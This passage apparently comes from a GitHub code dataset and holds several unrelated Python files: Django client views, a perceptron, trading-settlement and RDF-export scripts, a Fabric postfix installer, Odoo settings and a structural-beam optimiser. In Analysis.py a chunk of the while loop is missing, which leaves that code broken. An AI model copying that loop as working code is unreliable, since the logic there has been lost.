'POST':\n cliente_form = ClienteForm(request.POST, instance=cliente_object)\n if cliente_form.is_valid():\n cliente = cliente_form.save()\n return redirect('usuarios:clientes_list')\n else:\n context = {\n 'title': \"Editar Cliente\",\n 'cliente_form':cliente_form,\n }\n return render(request, \"usuarios/cliente_form.html\", context)\n context = {\n 'title': \"Editar Cliente\",\n 'cliente_form':cliente_form,\n }\n return render(request, \"usuarios/cliente_form.html\", context)\n\n@login_required\n@transaction.atomic\ndef cliente_delete(request, pk):\n cliente = Cliente.objects.get(pk=pk)\n if request.method == 'POST':\n cliente.delete()\n return redirect('usuarios:clientes_list')\n context = {\n 'title':\"Eliminar Cliente\",\n 'object_delete': cliente,\n }\n return render(request, \"usuarios/cliente_delete.html\", context)\n\n@login_required\ndef importar_clientes(request):\n if request.method == 'POST' and request.FILES['archivo_excel']:\n archivo_excel = request.FILES['archivo_excel']\n df = pd.read_excel(archivo_excel) # Lee el archivo Excel usando pandas\n\n # Itera sobre las filas del DataFrame y crea instancias del modelo\n for index, row in df.iterrows():\n instancia = Cliente(\n cedula=row['cedula'],\n nombre_apellido=row['nombre_apellido'],\n telefono=row['telefono'],\n referencia=row['referencia'],\n )\n instancia.save() # Guarda la instancia en la base de datos\n\n return redirect('usuarios:clientes_list')\n\n return render(request, 'usuarios/importar_clientes.html')\n\ndef buscar_cliente(request, tipo, parametro):\n import json\n empresa = get_empresa(request)\n if tipo == \"1\":\n clientes = Cliente.objects.filter(cedula__startswith=parametro).distinct()\n else:\n clientes = Cliente.objects.filter(nombre_apellido__icontains=parametro).distinct()\n data = []\n for cliente in clientes:\n data_cliente = {\n 'tipo_identificacion':cliente.tipo_identificacion,\n 'cedula': cliente.cedula,\n 'nombre_apellido': cliente.nombre_apellido,\n 'telefono': cliente.telefono,\n 'direccion': cliente.direccion,\n 'referencia': cliente.referencia,\n }\n data.append(data_cliente)\n return HttpResponse(json.dumps(data))","repo_name":"JolRobles/mecanica","sub_path":"usuarios/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7232,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17876890848","text":"import numpy as np\n\ndef creatData():\n x = np.array([[3, 3], [4, 3], [1, 1]])\n y = np.array([1, 1, -1])\n return x, y\n\ndef getGram(x):\n return np.dot(x, x.T)\n\ndef check(w, b):\n res = np.dot(w, x.T) + b\n res[res < 0] = -1\n res[res > 0] = 1\n if (res == y).all():\n return True\n else:\n return False\n\ndef cal(i):\n res = np.dot(alpha * y , g[i, :]) + b;\n if (res < 0):\n return -1\n else:\n return 1\n\ndef update(i):\n global alpha, b\n alpha[i] += eite\n b += y[i]\n\nif __name__ == \"__main__\":\n x, y = creatData()\n g = getGram(x)\n alpha = np.zeros(len(y))\n b = 0\n eite = 1\n w = np.zeros(len(x[1]), np.float)\n print(w)\n #迭代循环\n while not check(w, b):\n w = np.dot(alpha * y, x);\n for i in range(len(x)):\n #print(alpha, b)\n if cal(i) != y[i]:\n update(i)\n \n print(w, b)\n","repo_name":"xinjiyuan97/statisticalMachineLearning","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"30354283616","text":"import datetime\nimport logging\n\nfrom .log_analyst.settle_process import SettleInformation\nfrom .log_analyst.settle_process import __get_position_csv_name\nfrom .log_analyst.settle_process import push_positions_and_trades_into_database\nfrom .log_analyst.settle_process import summary_daily_trades\nfrom .check_and_settle.check_position import check_position\nfrom .check_and_settle.holding_profit_qxy import holding_position_mysql_profit\nfrom .check_and_settle.record_account_balance import record_account_balance\nfrom .profit_data_daily.get_profit_data import get_profit_data\n\nDEFAULT_TAR_DATE = datetime.date.today()\n\nGUIDE_DESCRIPTION00 = '''\ninput settle date, eg. 2016-04-20\ndefault: %s\nsettle date:\n''' % str(DEFAULT_TAR_DATE)\n\nGUIDE_DESCRIPTION01 = '''\ninput closed date, eg. 2016-04-20\ndefault: %s\nclosed date:\n''' % str(DEFAULT_TAR_DATE)\n\nGUIDE_DESCRIPTION1 = '''\nsettle daytime trades or nighttime?\noptions: daytime / nighttime / none\ninput:\n'''\n\nGUIDE_DESCRIPTION2 = '''\n===============================================\n##### trading settlement process ######\n\nparse :: append ats log into positions\nsettle :: update positions&trades into database\n===============================================\nselect working:'''\n\n\ndef print_settle_info(settle_info, accounts):\n info_str = ('>>>>>>'\n 'settle settings\\n'\n 'account : %s\\n'\n 'position date : %s\\n'\n 'settle date : %s\\n'\n 'closed date : %s\\n'\n 'settle daytime : %s\\n'\n '--\\n'\n 'datebase : %s\\n'\n 'db_user : %s\\n'\n '--\\n'\n 'log path : %s\\n'\n 'position path : %s\\n'\n '>>>>>>'\n % (str(settle_info.account_name),\n str(settle_info.position_date),\n str(settle_info.settle_date),\n str(settle_info.closed_date),\n str(settle_info.is_daytime),\n str(settle_info.database_name),\n str(settle_info.dbase_acc),\n str(settle_info.log_file_folder),\n str(settle_info.position_csv_folder))\n )\n print(info_str)\n print('\\naccounts: ', str(accounts))\n return\n\n\n# # 根据策略配置文件生成分策略持仓,并和交易log分析文件的持仓做对比\n# def check_position(settle_info):\n# position_csv_path = __get_position_csv_name(settle_info)\n# strategy_positions = parse_strategy_config(settle_info)\n# csv_positions = parse_position_csv(position_csv_path)\n#\n# if csv_positions == strategy_positions:\n# logging.info(\"mysql_positions == strategy_positions\")\n# return True\n# else:\n# logging.info('strategy_positions')\n# for i in strategy_positions:\n# logging.info(str(i))\n# logging.info('holding_csv_position')\n# for i in csv_positions:\n# logging.info(str(i))\n# logging.info(\"mysql_positions != strategy_positions\")\n# return False\n\n\ndef _run_settle_process_on_account(accounts, settle_info):\n # 结算日期\n s_date = input(GUIDE_DESCRIPTION00)\n if not s_date:\n settle_info.settle_date = DEFAULT_TAR_DATE\n else:\n settle_info.settle_date = datetime.datetime.strptime(s_date, '%Y-%m-%d').date()\n # 收盘价日期\n s_date = input(GUIDE_DESCRIPTION01)\n if not s_date:\n settle_info.closed_date = DEFAULT_TAR_DATE\n else:\n settle_info.closed_date = datetime.datetime.strptime(s_date, '%Y-%m-%d').date()\n # 结算阶段(日盘/夜盘/全天)\n s_section = input(GUIDE_DESCRIPTION1)\n if not s_section or s_section.lower() == 'none':\n settle_info.is_daytime = None\n elif s_section.lower() == 'daytime':\n settle_info.is_daytime = True\n elif s_section.lower() == 'nighttime':\n settle_info.is_daytime = False\n else:\n raise Exception('unrecognized intraday section parameter')\n\n # print info setting details\n print_settle_info(settle_info, accounts)\n print('\\n')\n for acc in accounts:\n logging.info('\\n#--------------------#\\naccount: %s\\n' % acc)\n settle_info.account_name = acc\n\n # 分析交易日志\n if settle_info.parse_log is True:\n if summary_daily_trades(settle_info, write_unfilled_signals=False) is True:\n logging.info('\\nsummary_daily_trades SUCCESSFULLY!')\n else:\n logging.info('\\nsummary_daily_trades Failed!')\n\n # 检查策略.strat的持仓与未载入数据库的持仓\n if settle_info.check_position is True:\n result = check_position(settle_info)\n else:\n result = True\n input()\n if result is False:\n continue\n\n if settle_info.push_into_database is True:\n if push_positions_and_trades_into_database(settle_info) is True:\n logging.info('\\npush_positions_and_trades SUCCESSFULLY!')\n else:\n logging.info('\\npush_positions_and_trades Failed!')\n\n # 生成持仓收益文件\n if settle_info.holding_position_profit is True:\n if holding_position_mysql_profit(settle_info):\n logging.info('\\nholding_position_mysql_profit SUCCESSFULLY!')\n else:\n logging.info('\\nholding_position_mysql_profit Failed!')\n\n # 按日生成账户当日理论权益\n if settle_info.profit_data is True:\n if get_profit_data(settle_info):\n logging.info('\\nget_profit_data SUCCESSFULLY!')\n else:\n logging.info('\\nget_profit_data Failed!')\n\n # 记录账户当期实际权益\n if settle_info.record_account_balance is True:\n record_account_balance(settle_info)\n\n return\n\n\ndef run_settlement(accounts, settle_info):\n # sinfo = SettleInformation()\n # sinfo.settle_date = None\n # sinfo.account_name = 'ly_jinqu_1'\n # sinfo.database_name = 'trade_records'\n # sinfo.dbase_ip = '172.18.93.153'\n # sinfo.dbase_acc = 'qxy'\n # sinfo.dbase_pw = ''\n # sinfo.log_file_folder = r'.\\trade_logs'\n # sinfo.position_csv_folder = r'.\\positions'\n\n try:\n _run_settle_process_on_account(accounts, settle_info)\n\n except Exception as e:\n logging.fatal(str(e))\n\n input('press enter to quit ...')\n","repo_name":"hong142101/ats_log_parser","sub_path":"ats_log_parser/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4138805292","text":"from fconcrete.helpers import printProgressBar\nimport numpy as np\nimport pandas as pd\nimport time\n\nclass Analysis:\n\n @staticmethod\n def create_samples(kwargs, sort_by_multiplication, must_test_for_each):\n possible_values = []\n for kwarg_value in kwargs.values():\n possible_values = [*possible_values, np.arange(*kwarg_value)] if (len(kwarg_value) == 3 and type(kwarg_value)==tuple) else [*possible_values, kwarg_value]\n\n combinations = np.array(np.meshgrid(*possible_values)).T.reshape(-1,len(possible_values))\n combinations_table = pd.DataFrame(combinations, columns=kwargs.keys())\n\n # sorting the combinations\n if sort_by_multiplication:\n combinations_table[\"multiply\"] = combinations_table.apply(lambda row: np.array([ v for k, v in row.to_dict().items() if k not in must_test_for_each ]).prod(), axis=1)\n combinations_table = combinations_table.sort_values(by=[*must_test_for_each, \"multiply\"])\n combinations_table = combinations_table.drop(columns=\"multiply\")\n else:\n combinations_table = combinations_table.sort_values(by=must_test_for_each)\n\n combinations_table.reset_index(inplace=True, drop=True)\n\n return combinations_table\n\n @staticmethod\n def _checkNextStep(combination_kwarg, step, must_test_for_each, combinations_table):\n current_must_test_for_each = { k: v for k, v in combination_kwarg.items() if k in must_test_for_each }\n current_to_test_table = combinations_table.loc[step+1:]\n if len(current_to_test_table)==0: return\n step = np.inf\n for k in current_must_test_for_each.keys():\n new_table = current_to_test_table[current_to_test_table[k] > combination_kwarg[k]]\n if len(new_table)==0: return\n new_index_p = new_table.iloc[0].name\n step = min(step, new_index_p)\n if len(new_table)==0: return\n return step\n \n @staticmethod\n def getBestSolution(concrete_beam_function,\n max_steps_without_decrease = float(\"inf\"),\n avoid_estimate=False,\n show_progress=True,\n sort_by_multiplication=False,\n must_test_for_each=[],\n **kwargs):\n r\"\"\"\n Returns a report with all materials and cost.\n \n Call signatures:\n \n `fc.Analysis.getBestSolution(concrete_beam_function,\n ... max_steps_without_decrease = float(\"inf\"),\n ... avoid_estimate=False,\n ... show_progress=True,\n ... sort_by_multiplication=False,\n ... **kwargs)`\n \n >>> def concrete_beam_function(width, height, length):\n ... slab_area = 5*5\n ... kn_per_m2 = 5\n ... distributed_load = -slab_area*kn_per_m2/500\n ... pp = fc.Load.UniformDistributedLoad(-width*height*25/1000000, x_begin=0, x_end=length)\n ... n1 = fc.Node.SimpleSupport(x=0, length=20)\n ... n2 = fc.Node.SimpleSupport(x=400, length=20)\n ... f1 = fc.Load.UniformDistributedLoad(-0.01, x_begin=0, x_end=1)\n ... beam = fc.ConcreteBeam(\n ... loads = [f1, pp],\n ... nodes = [n1, n2],\n ... section = fc.Rectangle(width, height),\n ... division = 200\n ... )\n ... return beam\n >>> full_report, solution_report, best_solution = fc.Analysis.getBestSolution(concrete_beam_function,\n ... max_steps_without_decrease=15,\n ... sort_by_multiplication=True,\n ... avoid_estimate=True,\n ... show_progress=False,\n ... width=[15],\n ... height=(30, 34, 2),\n ... length=[150])\n >>> # Table is sorted by cost ascending, so the first one is the most economic solution.\n >>> # Alternative way to look to the best solution\n >> print(best_solution)\n {'width': 15.0, 'height': 30.0, 'length': 150.0, 'cost': 126.2650347902965, 'error': '', 'Concrete': 63.59, 'Longitudinal bar': 35.31, 'Transversal bar': 27.36}\n \n Parameters\n ----------\n concrete_beam_function\n Define the function that is going to create the beam given the parameters.\n \n max_steps_without_decrease : int, optional\n If the cost has not decrescead after max_steps_without_decrease steps, the loop breaks.\n Only use it in case your parameter combination has a logical order.\n Default inf.\n \n show_progress : `bool`, optional\n Estimate time using the last combination.\n If a exception is found, 80s per loop is set and a message about the not precision is shown.\n Also show progress bar in percentage.\n Default True.\n \n sort_by_multiplication : `bool`, optional\n Sort combinations by the multiplication os all parameter. Useful to use with max_steps_without_decrease when the is a logical order.\n Default False.\n \n must_test_for_each: list, optional\n From the kwargs parameters, define the ones that must be tested for all their values.\n Useful, for example, when you want to test for all possible lengths, but not all height and width.\n \n kwargs\n Possible arguments for the concrete_beam_function.\n If a set of 3 elements is given, np.arange(\\*kwarg_value) will be called.\n The kwargs must have the same name that the concrete_beam_function expects as arguments.\n The combination is made with np.meshgrid.\n \n \n \"\"\"\n \n combinations_table = Analysis.create_samples(kwargs, sort_by_multiplication, must_test_for_each)\n total_of_combinations = len(combinations_table)\n\n if avoid_estimate == False:\n max_variable_values = combinations_table.iloc[-1].to_dict()\n try:\n one_precesing_time, not_precise = concrete_beam_function(**max_variable_values).processing_time, False\n except:\n one_precesing_time, not_precise = 80, True\n continue_script = input(\"There are {} combinations. The estimate time to process all of them is {}s ({} minutes).{}\\nType 'y' to continue or another char to cancel.\\n\".format(total_of_combinations, round(total_of_combinations*one_precesing_time), round(total_of_combinations*one_precesing_time/60), \"\\nThis measure is not precise!\\n\" if not_precise else \"\")) \n \n if avoid_estimate!=False or continue_script==\"y\":\n start_time = time.time()\n report = pd.DataFrame(columns=[*list(kwargs.keys()), \"cost\", \"error\", 'Concrete', 'Longitudinal bar', 'Transversal bar'])\n min_value, steps_without_decrease, step = np.inf, 0, 0\n\n while step= max_steps_without_decrease:\n step = Analysis._checkNextStep(combination_kwarg, step, must_test_for_each, combinations_table)\n if step == None: break\n steps_without_decrease = 0\n continue\n else:\n steps_without_decrease, min_value = 0, cost\n \n if show_progress: printProgressBar(step + 1, total_of_combinations, prefix = 'Progress:', suffix = 'Complete', length = 50)\n \n step+=1\n \n full_report = report.copy()\n solution_report = report[report[\"error\"] == \"\"]\n solution_report = solution_report.sort_values(by=\"cost\")\n if len(solution_report)>0:\n if len(must_test_for_each)==0:\n best_solution = solution_report.iloc[0]\n else:\n best_solution = solution_report.drop_duplicates(subset=must_test_for_each) \n else:\n best_solution = None\n \n end_time = time.time()\n \n if show_progress: printProgressBar(total_of_combinations, total_of_combinations, prefix = 'Progress:', suffix = 'Complete', length = 50)\n if show_progress: print(\"Executed in {}s\".format(end_time-start_time))\n \n return full_report, solution_report, best_solution\n \n ","repo_name":"luisggc/FConcrete","sub_path":"fconcrete/StructuralConcrete/Analysis.py","file_name":"Analysis.py","file_ext":"py","file_size_in_byte":9909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10602974917","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom page import Page\n\nclass YouTube(Page):\n\n\tdef getBanner(self):\n\t\treturn 'You\\033[91mTube'\n\n\tdef getInfo(self):\n\t\ttitle = self.getTitle()\n\t\tif title is None:\n\t\t\treturn None\n\t\tduration = self.getDuration()\n\t\tauthor = self.getAuthor() or 'an unknown user'\n\t\t#return '\\x02%s\\x0f (%s) by %s' % (title, duration, author)\n\t\treturn '%s (%s) by %s' % (title, duration, author)\n\n\tdef getTitle(self):\n\t\treturn self.getMetaInformation('name', 'title')\n\n\tdef getDurationInSeconds(self):\n\t\tlength = self.getMetaInformation('itemprop', 'duration')\n\t\tif length is None:\n\t\t\treturn None\n\t\tminutes = int(length[2 : length.find('M')])\n\t\tseconds = int(length[length.find('M')+1 : length.find('S')])\n\t\treturn minutes * 60 + seconds\n\n\tdef getAuthor(self):\n\t\t#tags = self.soup.find_all('span', class_='yt-user-name')\n\t\ttags = self.soup.find_all(class_='yt-user-info')\n\t\tif len(tags) > 0:\n\t\t\treturn tags[0].text.replace('\\n', '')\n\t\telse:\n\t\t\treturn None\n","repo_name":"felixbade/Nux6","sub_path":"pages/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25530941522","text":"import os\nimport sys\nimport lib_util\nimport lib_kbase\nimport lib_naming\nimport lib_exports\nimport lib_properties\nfrom lib_properties import pc\n\n################################################################################\n\n\n# This dumps the triplestore graph to the current output socket if called\n# in a HTTP server.\n# Otherwise it saves the result to a text file, for testing or debugging.\ndef FlushOrSaveRdfGraph(grph, output_rdf_filename):\n INFO(\"FlushOrSaveRdfGraph l=%s sys.argv=%s\",len(sys.argv),str(sys.argv))\n\n try:\n os.environ[\"QUERY_STRING\"]\n INFO(\"FlushOrSaveRdfGraph to stream\")\n lib_util.WrtHeader('text/html')\n\n out_dest = lib_util.get_default_output_destination()\n lib_kbase.triplestore_to_stream_xml(grph,out_dest,'pretty-xml')\n\n except KeyError:\n INFO(\"FlushOrSaveRdfGraph onto_filnam=%s\",output_rdf_filename)\n outfil = open(output_rdf_filename, \"w\")\n lib_kbase.triplestore_to_stream_xml(grph,outfil,'pretty-xml')\n outfil.close()\n\n################################################################################\n\n\n# This receives a triplestore containing only the information from scripts.\n# This adds the classes and the properties information,\n# in order to send it to an external database or system.\n# This returns a new graph.\n# FIXME: WHY CREATING A NEW GRAPH ?? Maybe because we could not remove some information ?? Which one ??\n# FIXME: Maybe to remove the scripts ?\ndef AddOntology(old_grph):\n DEBUG(\"AddOntology\")\n map_classes = {}\n map_attributes = {}\n\n new_grph = lib_kbase.MakeGraph()\n\n # This takes the class from an Url and defines it in the RDF ontology.\n # This returns the class name as a string.\n def _define_class_in_ontology(url_node):\n (entity_label, class_name, entity_id) = lib_naming.ParseEntityUri(url_node)\n\n # This could be: (\"http://the_host\", \"http://primhillcomputers.com/survol/____Information\", \"HTTP url\")\n if not class_name:\n return None\n\n # TODO: Define base classes with rdfs:subClassOf / RDFS.subClassOf\n # \"base_class\" and \"class_description' ???\n\n # A class name with the WMI namespace might be produced with this kind of URL:\n # \"http://www.primhillcomputers.com/survol#root\\CIMV2:CIM_Process\"\n class_name = class_name.replace(\"\\\\\",\"%5C\")\n\n if not class_name in map_classes:\n if class_name == \"\":\n raise Exception(\"No class name for url=%s type=%s\" % (str(url_node), str(type(url_node))))\n\n # Maybe this CIM class is not defined as an RDFS class.\n # This function might also filter duplicate and redundant insertions.\n lib_util.AppendClassSurvolOntology(class_name, map_classes, map_attributes)\n\n # The entity_id is a concatenation of CIM properties and define an unique object.\n # They are different of the triples, but might overlap.\n entity_id_dict = lib_util.SplitMoniker(entity_id)\n for predicate_key in entity_id_dict:\n if not predicate_key in map_attributes:\n # This function might also filter a duplicate and redundant insertion.\n lib_util.AppendPropertySurvolOntology(predicate_key, \"CIM key predicate %s\" % predicate_key, class_name, None, map_attributes)\n\n # This value is explicitly added to the node.\n predicate_value = entity_id_dict[predicate_key]\n new_grph.add((url_node, lib_properties.MakeProp(predicate_key), lib_kbase.MakeNodeLiteral(predicate_value)))\n\n # This adds a triple specifying that this node belongs to this RDFS class.\n lib_kbase.AddNodeToRdfsClass(new_grph, url_node, class_name, entity_label)\n\n return class_name\n\n # This is needed for GraphDB which does not accept spaces and backslashes in URL.\n def _url_cleanup(url_node):\n url_as_str = str(url_node)\n url_as_str = url_as_str.replace(\" \",\"%20\")\n url_as_str = url_as_str.replace(\"\\\\\",\"%5C\")\n url_as_str = url_as_str.replace(\"[\",\"%5B\")\n url_as_str = url_as_str.replace(\"]\",\"%5D\")\n url_as_str = url_as_str.replace(\"{\",\"%7B\")\n url_as_str = url_as_str.replace(\"}\",\"%7D\")\n if lib_kbase.IsLiteral(url_node):\n url_node = lib_kbase.MakeNodeLiteral(url_as_str)\n else:\n url_node = lib_kbase.MakeNodeUrl(url_as_str)\n return url_node\n\n for node_subject, node_predicate, node_object in old_grph:\n node_subject = _url_cleanup(node_subject)\n node_object = _url_cleanup(node_object)\n if node_predicate == pc.property_script:\n # The subject might be a literal directory containing provider script files.\n if not lib_kbase.IsLiteral(node_subject):\n if lib_kbase.IsLiteral(node_object):\n new_grph.add( (node_subject, lib_kbase.PredicateSeeAlso, node_object))\n else:\n str_object = str(node_object)\n str_object_rdf = str_object + \"&mode=rdf\"\n node_object_rdf = lib_kbase.MakeNodeUrl(str_object_rdf)\n new_grph.add( (node_subject, lib_kbase.PredicateSeeAlso, node_object_rdf))\n elif node_predicate == pc.property_information:\n new_grph.add( (node_subject, lib_kbase.PredicateComment, node_object))\n else:\n class_subject = _define_class_in_ontology(node_subject)\n if not lib_kbase.IsLiteral(node_object):\n class_object = _define_class_in_ontology(node_object)\n else:\n class_object = None\n\n name_predicate, dict_predicate = lib_exports.PropToShortPropNamAndDict(node_predicate)\n try:\n description_predicate = dict_predicate[\"property_description\"]\n except:\n description_predicate = \"\"\n\n if class_subject and (name_predicate not in map_attributes):\n # This function might also filter a duplicate and redundant insertion.\n lib_util.AppendPropertySurvolOntology(name_predicate, description_predicate, class_subject, class_object, map_attributes)\n\n # TODO: Add the property type. Experimental because we know the class of the object, or if this is a literal.\n new_grph.add((node_subject, node_predicate, node_object))\n\n lib_kbase.CreateRdfsOntology(map_classes, map_attributes, new_grph)\n DEBUG(\"AddOntology len(grph)=%d map_classes=%d map_attributes=%d len(new_grph)=%d\",\n len(new_grph), len(map_classes), len(map_attributes), len(new_grph))\n\n return new_grph\n\n################################################################################\n# Used by all CGI scripts when they have finished adding triples to the current RDF graph.\n# The RDF comment is specifically processed to be used by ontology editors such as Protege.\ndef Grph2Rdf(grph):\n DEBUG(\"Grph2Rdf entering\")\n\n new_grph = AddOntology(grph)\n\n # Neither \"xml/rdf\" nor \"text/rdf\" are correct MIME-types.\n # It should be \"application/xml+rdf\" or possibly \"application/xml\" or \"text/xml\"\n # 'text/rdf' and 'xml/rdf' are OK with Protege\n # 'application/xml+rdf' creates a file.\n lib_util.WrtHeader('application/xml')\n\n out_dest = lib_util.get_default_output_destination()\n\n lib_kbase.triplestore_to_stream_xml(new_grph, out_dest, 'xml')\n DEBUG(\"Grph2Rdf leaving\")\n\n################################################################################\n\n","repo_name":"Tiancheng-Luo/survol","sub_path":"survol/lib_export_ontology.py","file_name":"lib_export_ontology.py","file_ext":"py","file_size_in_byte":7507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"17490128023","text":"class Solution:\n def searchMatrix(self, matrix, target):\n \"\"\"\n :type matrix: list[list[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n if not matrix or not matrix[0]:\n return False\n\n m, n = len(matrix), len(matrix[0])\n left, right = 0, m * n - 1\n\n while left + 1 < right:\n mid = (left + right) // 2\n x = mid // n\n y = mid % n\n\n if matrix[x][y] < target:\n left = mid\n elif matrix[x][y] > target:\n right = mid\n else:\n return True\n\n return any(\n matrix[mid // n][mid % n] == target\n for mid in (left, right)\n )\n","repo_name":"jaychsu/algorithm","sub_path":"lintcode/28_search_a_2d_matrix.py","file_name":"28_search_a_2d_matrix.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"37"} +{"seq_id":"43744624802","text":"from fabric.api import task, env\nfrom .. import system\n\n__all__ = ['install']\n\n\n@task\ndef install(relay=None):\n \"\"\"\n Deploy postfix for outbound SMTP\n \"\"\"\n\n if relay is None:\n relay = env.smtp_relay\n\n # set the mailer type\n system.sudo('debconf-set-selections <<< \"postfix postfix/main_mailer_type string \\'%s\\'\"' % (\n 'Satellite' if relay else 'Internet Site'\n ))\n system.sudo(\"debconf-set-selections <<< 'postfix postfix/mailname string %s'\" % env.host)\n\n # configure the relayhost or mailname, as required\n if relay:\n system.sudo(\"debconf-set-selections <<< 'postfix postfix/relayhost %s'\" % relay)\n\n #else:\n # system.sudo(\"debconf-set-selections <<< 'postfix postfix/mailname string %s'\" % env.host)\n\n # install postfix\n system.apt('postfix')\n\n # enforce the config after installation, JIC it has changed\n if relay:\n system.sudo(\"/usr/sbin/postconf -e relayhost=%s\" % relay)\n\n system.sudo(\"/usr/sbin/postfix reload\")\n","repo_name":"evilchili/cotton","sub_path":"fabfile/postfix/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"31507578148","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api, _\nfrom ast import literal_eval\n\nclass GescothSettings(models.TransientModel):\n\t_inherit = 'res.config.settings'\n\n\tchef_etablissement = fields.Many2one(\n\t 'gescoth.personnel',\n\t string=\"Chef d'établissement\",\n\t) \n\tannee_scolaire_id = fields.Many2one(\n\t 'gescoth.anneescolaire',\n\t string='Année scolaire',\n\t)\n\tville = fields.Char(\n\t string='Fait à',\n\t)\n\thead_image_path = fields.Char(\n\t string='Entete de page',\n\t)\n\tentete = fields.Binary(\n\t string='Entete de page',\n\t attachment=True,\n\t)\n\tcle_activation = fields.Char(\n\t string='Clé d\\'activation',\n\t)\n\timage_cache = fields.Binary(string=\"Cachet\")\n\timage_signature = fields.Binary(string=\"Signature\")\n\n\t@api.model\n\tdef set_values(self):\n\t\tres = super(GescothSettings, self).set_values()\n\t\tself.env['ir.config_parameter'].set_param('gescoth.chef_etablissement', self.chef_etablissement.id)\t\n\t\tself.env['ir.config_parameter'].set_param('gescoth.annee_scolaire_id', self.annee_scolaire_id.id)\t\n\t\tself.env['ir.config_parameter'].set_param('gescoth.ville', self.ville)\t\n\t\tself.env['ir.config_parameter'].set_param('gescoth.entete', self.entete)\n\t\tself.env['ir.config_parameter'].set_param('gescoth.activate', self.cle_activation)\n\t\tself.env['ir.config_parameter'].set_param(\n\t\t\t'gescoth.image_cache', self.image_cache)\n\t\tself.env['ir.config_parameter'].set_param(\n 'gescoth.image_signature', self.image_signature)\n\t\treturn res\n\n\t@api.model\n\tdef get_values(self):\n\t\tres = super(GescothSettings, self).get_values()\n\t\tICPSudo = self.env['ir.config_parameter'].sudo()\n\t\t_chef_etablissement = int(ICPSudo.get_param('gescoth.chef_etablissement'))\n\t\t_annee_scolaire_id = int(ICPSudo.get_param('gescoth.annee_scolaire_id'))\n\t\t_ville = ICPSudo.get_param('gescoth.ville')\n\t\t_entete = ICPSudo.get_param('gescoth.entete')\n\t\t_cle_activation = ICPSudo.get_param('gescoth.cle_activation')\n\t\t_image_cache = ICPSudo.get_param('gescoth.image_cache')\n\t\t_image_signature = ICPSudo.get_param('gescoth.image_signature')\n\t\tres.update(\n\t\t\tchef_etablissement = _chef_etablissement,\n\t\t\tannee_scolaire_id = _annee_scolaire_id,\n\t\t\tville = _ville,\n\t\t\tentete = _entete,\n\t\t\tcle_activation=_cle_activation,\n\t\t\timage_cache=_image_cache,\n\t\t\timage_signature=_image_signature,\n\t\t)\n\t\treturn res\n\nclass GescothAnneeScolaire(models.Model):\n\t_name = 'gescoth.anneescolaire'\n\t_description = 'Gestion des années scolaire'\n\t_sql_constraints = [\n\t('name_uniq', 'unique (name)', _('Cette années scolaire existe déjà !')),\n\t]\n\n\tname = fields.Char(string=\"Année scolaire\", required=True)\n\tdate_rentree = fields.Date(string=\"Date de la rentrée\", required=True)\n\tdate_vacance = fields.Date(string=\"Date des vacance\")\n\tnote = fields.Text(\n\t\tstring='Notes',\n\t)\n\n","repo_name":"OtmaneGr/gescoth","sub_path":"gescoth/models/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"73197648426","text":"#!/usr/bin/python\nimport datetime, gettext, os, os.path, re, shutil\nfrom PyHtmlify import htmlify\n\n\n# Compile using msgfmt -o\n\ndef prepareOutput():\n\t# Ensure output directory exists\n\tif not os.path.exists('output'):\n\t\tos.mkdir('output')\n\n\t# Ensure it is empty\n\tfor item in os.listdir('output'):\n\t\tif os.path.isdir('output/%s' % item):\n\t\t\tshutil.rmtree('output/%s' % item)\n\t\telse:\n\t\t\tos.remove('output/%s' % item)\n\n\t# Copy static files\n\tshutil.copytree('js', 'output/js')\n\tshutil.copytree('css', 'output/css')\n\tshutil.copytree('img', 'output/img')\n\tshutil.copy('mtg-data.js', 'output/mtg-data.js')\n\tos.mkdir('output/lang')\n\tshutil.copy('lang/localFunctions.js', 'output/lang/localFunctions.js')\n\tos.mkdir('output/hosting')\n\tshutil.copytree('flags', 'output/hosting/flags')\n\ndef setLang(lang):\n\tos.makedirs('output/%s/LC_MESSAGES/' % lang)\n\tshutil.copy('lang/%s.mo' % lang, 'output/%s/LC_MESSAGES/t.mo' % lang)\n\tos.environ['LANGUAGE'] = '%s:en' % lang\n\tgettext.bindtextdomain('t', 'output/')\n\tgettext.textdomain('t')\n\nif __name__ == '__main__':\n\tprepareOutput()\n\n\t# Get content\n\twith open('drafting.html') as f:\n\t\tsource = f.read()\n\n\t# Version system\n\tversion = re.search(r'class=\"version\"[^>]+\\>([^<]+)', source).group(1)\n\twith open('output/hosting/version.txt', 'w') as f:\n\t\tf.write(version)\n\twith open('output/version.txt', 'w') as f:\n\t\tf.write(version)\n\twith open('output/hosting/drafting.manifest', 'w') as f:\n\t\tf.write('CACHE MANIFEST\\nNETWORK:\\nversion.txt')\n\twith open('hosting-index.html') as f:\n\t\tindex = f.read()\n\twith open('output/hosting/index.html', 'w') as f:\n\t\tf.write(index.replace('.min.html', '.%s.html' % version))\n\n\t# Languages and main script\n\tfor lang in os.listdir('lang'):\n\t\tif lang.endswith('.mo'):\n\t\t\tlang = lang[:-3]\n\t\t\tsetLang(lang)\n\t\t\thtml = re.sub(r'\\[([^]]+)\\]',\n\t\t\t\tlambda key: 